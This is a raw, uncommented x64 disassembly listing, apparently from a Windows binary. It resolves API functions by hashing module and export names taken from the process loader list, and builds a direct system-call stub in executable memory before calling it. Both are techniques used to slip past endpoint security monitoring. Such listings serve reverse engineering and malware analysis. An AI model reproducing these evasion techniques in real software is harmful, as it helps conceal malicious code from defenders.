call qword [rsp + 0x76d0]
mov dword [rsp + 0x39a4], eax
lea rax, [rsp + 0x6238]
mov rcx, rax
call fcn.1400a0db0
mov eax, dword [rsp + 0x39a4]
mov dword [rsp + 0x39a8], eax
cmp dword [rsp + 0x39a8], 0
jge 0x140120eaf
mov byte [rsp + 0x90], 0
jmp 0x140120eb7
mov byte [rsp + 0x90], 1
movzx eax, byte [rsp + 0x90]
test eax, eax
je 0x140120ed2
movzx eax, word [rsp + 0x13390]
cmp eax, 0x5a4d
je 0x140120f05
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0x76d8], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x76d8]
jmp 0x140158d4c
mov rcx, qword [rsp + 0xa8]
call fcn.1400ae2f0
movzx eax, al
test eax, eax
je 0x140120f3f
mov qword [rsp + 0x76e0], 0x5232
lea rcx, [rsp + 0x15a0]
call fcn.14018ddf0
mov rax, qword [rsp + 0x76e0]
jmp 0x140158d4c
mov rcx, qword [rsp + 0xa8]
call fcn.140158d60
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x150], 0
mov qword [rsp + 0x168], 0
lea rax, [rsp + 0x150]
mov qword [rsp + 0x76f0], rax
mov dword [rsp + 0x39f0], 0x40
mov dword [rsp + 0x39ac], 0x12a83c03
mov eax, dword [rsp + 0x39ac]
mov dword [rsp + 0x39b0], eax
mov eax, dword [rsp + 0x39b0]
mov dword [rsp + 0x39b8], eax
mov eax, dword [rsp + 0x39b8]
mov dword [rsp + 0x6258], eax
mov dword [rsp + 0x625c], 0
lea rax, [rsp + 0x6260]
mov qword [rsp + 0x76e8], rax
mov dword [rsp + 0x39ec], 0x49
mov dword [rsp + 0x39e8], 0x89
mov dword [rsp + 0x39e4], 0xca
mov dword [rsp + 0x39e0], 0x48
mov dword [rsp + 0x39dc], 0xc7
mov dword [rsp + 0x39d8], 0xc0
mov dword [rsp + 0x39d4], 0x3f
mov dword [rsp + 0x39d0], 0x10
mov dword [rsp + 0x39cc], 0
mov dword [rsp + 0x39c8], 0
mov dword [rsp + 0x39c4], 0xf
mov dword [rsp + 0x39c0], 5
mov dword [rsp + 0x39bc], 0xc3
lea rax, [rsp + 0x39bc]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x39c0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x39c4]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x39cc]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x39d0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x39d4]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x39d8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x39dc]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x39e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x39e4]
lea r8, [rsp + 0x39e8]
lea rdx, [rsp + 0x39ec]
mov rcx, qword [rsp + 0x76e8]
call fcn.14008f900
mov byte [rsp + 0x1c7], 0
mov byte [rsp + 0x1c8], 0
mov rax, qword [rsp + 0x76f0]
mov qword [rsp + 0x78b0], rax
mov byte [rsp + 0x1c9], 0
mov byte [rsp + 0x1ca], 1
mov eax, dword [rsp + 0x150]
mov qword [rsp + 0x78b8], rax
mov byte [rsp + 0x1cb], 0
mov byte [rsp + 0x1cc], 0
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x78c0], rax
mov byte [rsp + 0x1cd], 0
mov byte [rsp + 0x1ce], 0
mov eax, dword [rsp + 0x39f0]
mov dword [rsp + 0x3a7c], eax
mov eax, dword [rsp + 0x6258]
mov dword [rsp + 0x39f8], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x4f60], rax
mov rax, qword [rsp + 0x4f60]
mov qword [rsp + 0x76f8], rax
mov rax, qword [rsp + 0x76f8]
mov qword [rsp + 0xd130], rax
mov byte [rsp + 0xd138], 1
mov rax, qword [rsp + 0x4f60]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockShared
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7700], rax
lea r8, [rsp + 0x39f8]
lea rdx, [rsp + 0x4f78]
mov rcx, qword [rsp + 0x7700]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x7708]
add rax, 8
mov qword [rsp + 0x4f68], rax
mov rax, qword [rsp + 0xdd68]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4f68]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4f68]
mov rax, qword [rax]
mov qword [rsp + 0x7710], rax
mov r8, qword [rsp + 0x4f70]
mov rdx, qword [rsp + 0x7710]
lea rcx, [rsp + 0x7718]
call fcn.14006f260
lea rax, [rsp + 0x7718]
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x7720]
mov rax, qword [rax]
cmp qword [rsp + 0x4f78], rax
jne 0x1401212bf
mov dword [rsp + 0x10c0], 1
jmp 0x1401212ca
mov dword [rsp + 0x10c0], 0
movzx eax, byte [rsp + 0x10c0]
mov byte [rsp + 0xc3], al
movzx eax, byte [rsp + 0xc3]
test eax, eax
je 0x1401212f3
mov qword [rsp + 0x4f80], 0
jmp 0x14012135b
mov rax, qword [rsp + 0x4f78]
add rax, 0x10
mov qword [rsp + 0x7728], rax
mov rax, qword [rsp + 0x7728]
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x7730]
mov qword [rsp + 0x7738], rax
mov rax, qword [rsp + 0x7738]
mov qword [rsp + 0x7740], rax
mov rax, qword [rsp + 0x7740]
mov qword [rsp + 0x7748], rax
mov rax, qword [rsp + 0x7748]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4f80], rax
mov rax, qword [rsp + 0x4f80]
mov qword [rsp + 0x7758], rax
movzx eax, byte [rsp + 0xd138]
test eax, eax
je 0x140121397
mov rax, qword [rsp + 0xd130]
mov qword [rsp + 0x7750], rax
mov rax, qword [rsp + 0x7750]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockShared
mov rax, qword [rsp + 0x7758]
mov qword [rsp + 0x4f88], rax
cmp qword [rsp + 0x4f88], 0
je 0x1401213d7
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3a00], eax
mov eax, dword [rsp + 0x3a00]
mov dword [rsp + 0x625c], eax
jmp 0x140122273
lea rax, [rsp + 0xcf08]
mov qword [rsp + 0x4f90], rax
mov rax, qword [rsp + 0x4f90]
mov dword [rax], 0
mov rax, qword [rsp + 0x4f90]
mov eax, dword [rax]
mov dword [rsp + 0x3a10], eax
lea rax, [rsp + 0xcf0c]
mov qword [rsp + 0x4f98], rax
mov eax, dword [rsp + 0x6258]
mov dword [rsp + 0x3a08], eax
mov rax, qword [rsp + 0x4f98]
mov ecx, dword [rsp + 0x3a08]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4f98]
mov eax, dword [rax]
mov dword [rsp + 0x3a14], eax
mov eax, dword [rsp + 0x3a10]
mov dword [rsp + 0x10d0], eax
mov eax, dword [rsp + 0x3a14]
mov dword [rsp + 0x10f8], eax
mov dword [rsp + 0x3a18], 0
mov eax, dword [rsp + 0x3a18]
cmp dword [rsp + 0x10f8], eax
jne 0x140121491
xor eax, eax
cmp eax, 1
je 0x140121491
mov dword [rsp + 0x10c4], 1
jmp 0x14012149c
mov dword [rsp + 0x10c4], 0
movzx eax, byte [rsp + 0x10c4]
mov byte [rsp + 0xc4], al
movzx eax, byte [rsp + 0xc4]
test eax, eax
je 0x1401214c8
mov qword [rsp + 0x11a0], 0
jmp 0x140122134
mov byte [rsp + 0x1cf], 1
mov qword [rsp + 0x6cb0], 0
mov qword [rsp + 0x6cb8], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7760], rax
mov rax, qword [rsp + 0x7760]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7768], rax
mov rax, qword [rsp + 0x7768]
add rax, 0x10
mov qword [rsp + 0x3c10], rax
mov eax, 1
test eax, eax
je 0x140121542
mov rax, qword [rsp + 0x3c10]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4fa0], rax
jmp 0x140121555
mov rax, qword [rsp + 0x3c10]
mov rax, qword [rax]
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x6cb0], rax
mov rax, qword [rsp + 0x3c10]
mov qword [rsp + 0x6cb8], rax
lea rax, [rsp + 0x6cb0]
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4fa8]
mov rax, qword [rax]
mov qword [rsp + 0x7770], rax
mov rax, qword [rsp + 0x7770]
mov qword [rsp + 0x1188], rax
mov rax, qword [rsp + 0x4fa8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x7778], rax
mov rax, qword [rsp + 0x7778]
mov qword [rsp + 0x7780], rax
jmp 0x1401215e1
mov rax, qword [rsp + 0x1188]
mov rax, qword [rax]
mov qword [rsp + 0x1188], rax
mov rax, qword [rsp + 0x7780]
cmp qword [rsp + 0x1188], rax
je 0x140121600
mov dword [rsp + 0x10c8], 1
jmp 0x14012160b
mov dword [rsp + 0x10c8], 0
movzx eax, byte [rsp + 0x10c8]
test eax, eax
je 0x140122128
xor eax, eax
mov qword [rsp + 0x7788], rax
mov rax, qword [rsp + 0x7788]
mov rcx, qword [rsp + 0x1188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7790], rax
lea rax, [rsp + 0x7790]
mov qword [rsp + 0x4fb8], rax
mov dword [rsp + 0x3a1c], 0
mov eax, dword [rsp + 0x3a1c]
cmp dword [rsp + 0x10d0], eax
jne 0x140121682
xor eax, eax
cmp eax, 1
je 0x140121682
mov dword [rsp + 0x10cc], 1
jmp 0x14012168d
mov dword [rsp + 0x10cc], 0
movzx eax, byte [rsp + 0x10cc]
mov byte [rsp + 0xc5], al
movzx eax, byte [rsp + 0xc5]
test eax, eax
jne 0x1401219cc
mov rax, qword [rsp + 0x4fb8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x7798], rax
mov rax, qword [rsp + 0x7798]
mov rax, qword [rax + 8]
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x4fb0]
mov qword [rsp + 0xd5c0], rax
mov rax, qword [rsp + 0x4fb0]
mov qword [rsp + 0x77a0], rax
mov qword [rsp + 0x1190], 0xffffffffffffffff
inc qword [rsp + 0x1190]
mov rax, qword [rsp + 0x77a0]
mov rcx, qword [rsp + 0x1190]
cmp word [rax + rcx*2], 0
jne 0x140121703
mov rax, qword [rsp + 0x1190]
mov qword [rsp + 0x77a8], rax
mov rax, qword [rsp + 0x77a8]
mov qword [rsp + 0xd5c8], rax
lea rax, [rsp + 0xd5c0]
mov qword [rsp + 0x77b0], rax
lea rax, [rsp + 0xe130]
mov rdi, rax
mov rsi, qword [rsp + 0x77b0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x10d0]
mov dword [rsp + 0x3a20], eax
lea rax, [rsp + 0xd140]
lea rcx, [rsp + 0xe130]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x3a20]
mov dword [rsp + 0x10e8], eax
lea rax, [rsp + 0x10d8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x10d8], 0x1b6e1b1e
lea rax, [rsp + 0x10d8]
mov qword [rsp + 0x77b8], rax
lea rax, [rsp + 0xe140]
lea rcx, [rsp + 0xd140]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe150]
lea rcx, [rsp + 0xe140]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe150]
mov rcx, qword [rsp + 0x77b8]
call fcn.140097890
mov dword [rsp + 0x3a24], eax
mov rax, qword [rsp + 0xd148]
mov qword [rsp + 0x77c0], rax
mov rax, qword [rsp + 0x77c0]
sub rax, 4
mov qword [rsp + 0x77c8], rax
mov r9, qword [rsp + 0x77c8]
xor r8d, r8d
lea rdx, [rsp + 0xe160]
lea rcx, [rsp + 0xd140]
call fcn.14019ab70
lea rax, [rsp + 0x10dc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x10dc], 0x1b6e1b1e
lea rax, [rsp + 0x10dc]
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0xe170]
lea rcx, [rsp + 0xe160]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe180]
lea rcx, [rsp + 0xe170]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe180]
mov rcx, qword [rsp + 0x77d0]
call fcn.140097890
mov dword [rsp + 0x3a2c], eax
mov eax, dword [rsp + 0x3a24]
mov dword [rsp + 0x3a28], eax
mov eax, dword [rsp + 0x3a28]
cmp dword [rsp + 0x10e8], eax
jne 0x140121925
xor eax, eax
cmp eax, 1
je 0x140121925
mov dword [rsp + 0x10e0], 1
jmp 0x140121930
mov dword [rsp + 0x10e0], 0
movzx eax, byte [rsp + 0x10e0]
mov byte [rsp + 0xc6], al
movzx eax, byte [rsp + 0xc6]
test eax, eax
jne 0x1401219b0
mov eax, dword [rsp + 0x3a2c]
mov dword [rsp + 0x3a30], eax
mov eax, dword [rsp + 0x3a30]
cmp dword [rsp + 0x10e8], eax
jne 0x14012197d
xor eax, eax
cmp eax, 1
je 0x14012197d
mov dword [rsp + 0x1118], 1
jmp 0x140121988
mov dword [rsp + 0x1118], 0
movzx eax, byte [rsp + 0x1118]
mov byte [rsp + 0xc7], al
movzx eax, byte [rsp + 0xc7]
test eax, eax
jne 0x1401219b0
mov dword [rsp + 0x10f0], 1
jmp 0x1401219bb
mov dword [rsp + 0x10f0], 0
movzx eax, byte [rsp + 0x10f0]
test eax, eax
je 0x1401219cc
jmp 0x1401215ce
mov rax, qword [rsp + 0x4fb8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x4fc0]
mov qword [rsp + 0x4310], rax
mov rax, qword [rsp + 0x4fc0]
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x77d8]
mov qword [rsp + 0x4fc8], rax
mov rax, qword [rsp + 0x4fc8]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4fc8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x77e0], rax
mov eax, dword [rsp + 0x77e0]
add rax, qword [rsp + 0x4310]
mov qword [rsp + 0x77e8], rax
mov rax, qword [rsp + 0x77e8]
mov qword [rsp + 0x4318], rax
mov eax, dword [rsp + 0x10f8]
mov dword [rsp + 0x3a34], eax
mov eax, dword [rsp + 0x3a34]
mov dword [rsp + 0x3a38], eax
lea rdx, [rsp + 0x13420]
lea rcx, [rsp + 0x4310]
call fcn.1401906d0
lea rcx, [rsp + 0x13020]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x13448]
lea rcx, [rsp + 0x4310]
call fcn.14018ec60
lea rcx, [rsp + 0x13048]
mov rdi, rcx
mov rsi, rax
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x13070]
lea rcx, [rsp + 0x13020]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x130a0]
lea rcx, [rsp + 0x13048]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov r9d, dword [rsp + 0x3a38]
lea r8, [rsp + 0x13070]
lea rdx, [rsp + 0x130a0]
lea rcx, [rsp + 0x11868]
call fcn.140097110
lea rdx, [rsp + 0x13470]
lea rcx, [rsp + 0x4310]
call fcn.1401906d0
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x4fd0]
mov rax, qword [rax + 8]
cmp qword [rsp + 0x11870], rax
jne 0x140121b81
mov rax, qword [rsp + 0x4fd0]
mov rax, qword [rax]
cmp qword [rsp + 0x11868], rax
jne 0x140121b81
mov dword [rsp + 0x1100], 1
jmp 0x140121b8c
mov dword [rsp + 0x1100], 0
movzx eax, byte [rsp + 0x1100]
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
test eax, eax
je 0x140121bac
jmp 0x1401215ce
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140121c72
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x4fe0], rax
mov rax, qword [rsp + 0x4fe0]
mov qword [rsp + 0x4fd8], rax
mov rax, qword [rsp + 0x4fd8]
mov qword [rax], 0
mov rax, qword [rsp + 0x4fd8]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x4fe0]
mov qword [rax + 0x10], 0
lea rax, [rsp + 0x11878]
mov qword [rsp + 0x4fe8], rax
mov rax, qword [rsp + 0x4fe8]
mov qword [rsp + 0xdd70], rax
mov rax, qword [rsp + 0x4fe8]
add rax, 0x10
mov qword [rsp + 0x3c28], rax
mov rax, qword [rsp + 0x3c28]
mov rax, qword [rax]
mov qword [rsp + 0x5008], rax
mov rax, qword [rsp + 0x4310]
mov qword [rsp + 0x77f0], rax
mov rax, qword [rsp + 0x77f0]
mov qword [rsp + 0x4ff0], rax
mov rax, qword [rsp + 0x4ff0]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x4ff0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x4ff8], rax
mov eax, dword [rsp + 0x4ff8]
add rax, qword [rsp + 0x4310]
mov qword [rsp + 0x5000], rax
mov eax, dword [rsp + 0x4ffc]
mov rcx, qword [rsp + 0x5000]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x77f8], rax
mov rax, qword [rsp + 0x5000]
cmp qword [rsp + 0x5008], rax
jb 0x140121d61
mov rax, qword [rsp + 0x77f8]
cmp qword [rsp + 0x5008], rax
jae 0x140121d61
mov dword [rsp + 0x738], 1
jmp 0x140121d6c
mov dword [rsp + 0x738], 0
movzx eax, byte [rsp + 0x738]
mov byte [rsp + 0xc9], al
movzx eax, byte [rsp + 0xc9]
test eax, eax
je 0x14012210e
mov rax, qword [rsp + 0x3c28]
mov rax, qword [rax]
mov qword [rsp + 0x7800], rax
mov rax, qword [rsp + 0x7800]
mov qword [rsp + 0x5010], rax
lea rax, [rsp + 0x122b8]
mov qword [rsp + 0x3c18], rax
mov rax, qword [rsp + 0x3c18]
mov rcx, qword [rsp + 0x5010]
mov qword [rax], rcx
mov rax, qword [rsp + 0x5010]
mov qword [rsp + 0x7808], rax
mov qword [rsp + 0x1198], 0xffffffffffffffff
inc qword [rsp + 0x1198]
mov rax, qword [rsp + 0x7808]
mov rcx, qword [rsp + 0x1198]
cmp byte [rax + rcx], 0
jne 0x140121ded
mov rax, qword [rsp + 0x1198]
mov qword [rsp + 0x7810], rax
mov rax, qword [rsp + 0x3c18]
mov rcx, qword [rsp + 0x7810]
mov qword [rax + 8], rcx
lea rax, [rsp + 0x6150]
mov rdi, rax
mov rsi, qword [rsp + 0x3c18]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r9b, reloc.WLDAP32.dll_Ordinal_46
xor r8d, r8d
mov rdx, qword [rsp + 0x6158]
mov rcx, qword [rsp + 0x6150]
call fcn.140096220
mov qword [rsp + 0x3c20], rax
cmp qword [rsp + 0x3c20], 0xffffffffffffffff
je 0x140121f01
mov r9, qword [rsp + 0x3c20]
xor r8d, r8d
lea rdx, [rsp + 0xe190]
lea rcx, [rsp + 0x6150]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3c20]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe1a0]
lea rcx, [rsp + 0x6150]
call fcn.14019aaa0
lea rax, [rsp + 0xd600]
lea rcx, [rsp + 0xe190]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd610]
lea rcx, [rsp + 0xe1a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x140121f60
lea rax, [rsp + 0x6150]
mov qword [rsp + 0x7818], rax
mov qword [rsp + 0xd5d0], 0
mov qword [rsp + 0xd5d8], 0
lea rax, [rsp + 0xd600]
mov rdi, rax
mov rsi, qword [rsp + 0x7818]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd610]
lea rcx, [rsp + 0xd5d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xd600]
mov qword [rsp + 0x7820], rax
lea rax, [rsp + 0xd610]
mov qword [rsp + 0x7830], rax
lea rax, [rsp + 0xcf10]
mov qword [rsp + 0x5018], rax
lea rax, [rsp + 0x73c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x73c], 0x1b6e1b1e
lea rax, [rsp + 0x73c]
mov qword [rsp + 0x7828], rax
lea rax, [rsp + 0xe1b0]
mov rdi, rax
mov rsi, qword [rsp + 0x7820]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe1c0]
lea rcx, [rsp + 0xe1b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe1c0]
mov rcx, qword [rsp + 0x7828]
call fcn.1400977d0
mov dword [rsp + 0x3a40], eax
mov rax, qword [rsp + 0x5018]
mov ecx, dword [rsp + 0x3a40]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5018]
mov eax, dword [rax]
mov dword [rsp + 0x3a50], eax
lea rax, [rsp + 0xcf14]
mov qword [rsp + 0x5020], rax
lea rax, [rsp + 0x740]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x740], 0x1b6e1b1e
lea rax, [rsp + 0x740]
mov qword [rsp + 0x7838], rax
lea rax, [rsp + 0xe1d0]
mov rdi, rax
mov rsi, qword [rsp + 0x7830]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe1e0]
lea rcx, [rsp + 0xe1d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe1e0]
mov rcx, qword [rsp + 0x7838]
call fcn.1400977d0
mov dword [rsp + 0x3a48], eax
mov rax, qword [rsp + 0x5020]
mov ecx, dword [rsp + 0x3a48]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov dword [rsp + 0x3a54], eax
mov r8d, dword [rsp + 0x3a50]
mov edx, dword [rsp + 0x3a54]
lea rcx, [rsp + 0x3c30]
call fcn.140191150
mov qword [rsp + 0x11a0], rax
jmp 0x140122134
mov rax, qword [rsp + 0x3c28]
mov rax, qword [rax]
mov qword [rsp + 0x11a0], rax
jmp 0x140122134
mov qword [rsp + 0x11a0], 0
mov rax, qword [rsp + 0x11a0]
mov qword [rsp + 0x3c30], rax
mov rax, qword [rsp + 0xdd78]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x3c30]
mov qword [rsp + 0x5028], rax
mov eax, dword [rsp + 0x6258]
mov dword [rsp + 0x3a58], eax
mov rax, qword [rsp + 0x5028]
mov qword [rsp + 0x7850], rax
mov eax, dword [rsp + 0x3a58]
mov dword [rsp + 0x3a60], eax
lea rax, [0x1404d0cf0]
mov qword [rsp + 0x7840], rax
mov rax, qword [rsp + 0x7840]
mov qword [rsp + 0x6160], rax
mov byte [rsp + 0x6168], 0
mov rax, qword [rsp + 0x6160]
mov qword [rsp + 0x7848], rax
mov rax, qword [rsp + 0x7848]
mov rcx, rax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x6168], 1
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7858], rax
lea r9, [rsp + 0x7850]
lea r8, [rsp + 0x3a60]
lea rdx, [rsp + 0x122c8]
mov rcx, qword [rsp + 0x7858]
call fcn.140098320
movzx eax, byte [rsp + 0x6168]
test eax, eax
je 0x140122243
mov rax, qword [rsp + 0x6160]
mov qword [rsp + 0x7860], rax
mov rax, qword [rsp + 0x7860]
mov rcx, rax
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
mov rax, qword [rsp + 0x3c30]
mov qword [rsp + 0x7868], rax
mov rax, qword [rsp + 0x7868]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3a68], eax
mov eax, dword [rsp + 0x3a68]
mov dword [rsp + 0x625c], eax
lea rax, [rsp + 0x6260]
mov qword [rsp + 0x7870], rax
mov eax, dword [rsp + 0x625c]
mov dword [rsp + 0x3a70], eax
mov rax, qword [rsp + 0x7870]
add rax, 0x11
mov qword [rsp + 0x7878], rax
mov eax, 6
mov rcx, qword [rsp + 0x7878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7880], rax
mov rax, qword [rsp + 0x7880]
mov ecx, dword [rsp + 0x3a70]
mov dword [rax], ecx
lea rax, [rsp + 0x6260]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x578]
add rax, 0x10
mov qword [rsp + 0xdd80], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x7888], rax
mov qword [rsp + 0x5030], 0
mov qword [rsp + 0x7890], 0xd
mov rax, qword [rsp + 0x7888]
mov qword [rsp + 0x7898], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x7890]
xor r8d, r8d
lea rdx, [rsp + 0x5030]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x7898]
mov dword [rsp + 0x3a78], eax
cmp dword [rsp + 0x3a78], 0
jl 0x140122384
mov rax, qword [rsp + 0x5030]
mov qword [rsp + 0x5038], rax
jmp 0x140122390
mov qword [rsp + 0x5038], 0
mov rax, qword [rsp + 0x5038]
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0x578]
mov rcx, qword [rsp + 0x78a0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x578]
cmp qword [rax + 8], 0
jne 0x1401223c5
jmp 0x14012240e
mov rax, qword [rsp + 0x578]
add rax, 0x11
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x578]
mov rax, qword [rax + 8]
mov rdi, rax
mov rsi, qword [rsp + 0x78a8]
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x578]
mov rcx, qword [rsp + 0x578]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6260]
mov qword [rsp + 0x78c8], rax
mov r9, qword [rsp + 0x78b0]
mov r8, qword [rsp + 0x78b8]
mov rdx, qword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x3a7c]
call qword [rsp + 0x78c8]
mov dword [rsp + 0x3a80], eax
lea rax, [rsp + 0x6260]
mov rcx, rax
call fcn.1400a0db0
mov eax, dword [rsp + 0x3a80]
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 0xc0000004
jne 0x14012629f
cmp qword [rsp + 0x168], 0
je 0x1401239c2
mov qword [rsp + 0x78d0], 0
mov dword [rsp + 0x3ac8], 0x8000
lea rax, [rsp + 0x78d0]
mov qword [rsp + 0x78e0], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x78e8], rax
mov qword [rsp + 0x78f0], 0xffffffffffffffff
mov dword [rsp + 0x3a84], 0x4344a267
mov eax, dword [rsp + 0x3a84]
mov dword [rsp + 0x3a88], eax
mov eax, dword [rsp + 0x3a88]
mov dword [rsp + 0x3a90], eax
mov eax, dword [rsp + 0x3a90]
mov dword [rsp + 0x6280], eax
mov dword [rsp + 0x6284], 0
lea rax, [rsp + 0x6288]
mov qword [rsp + 0x78d8], rax
mov dword [rsp + 0x3ac4], 0x49
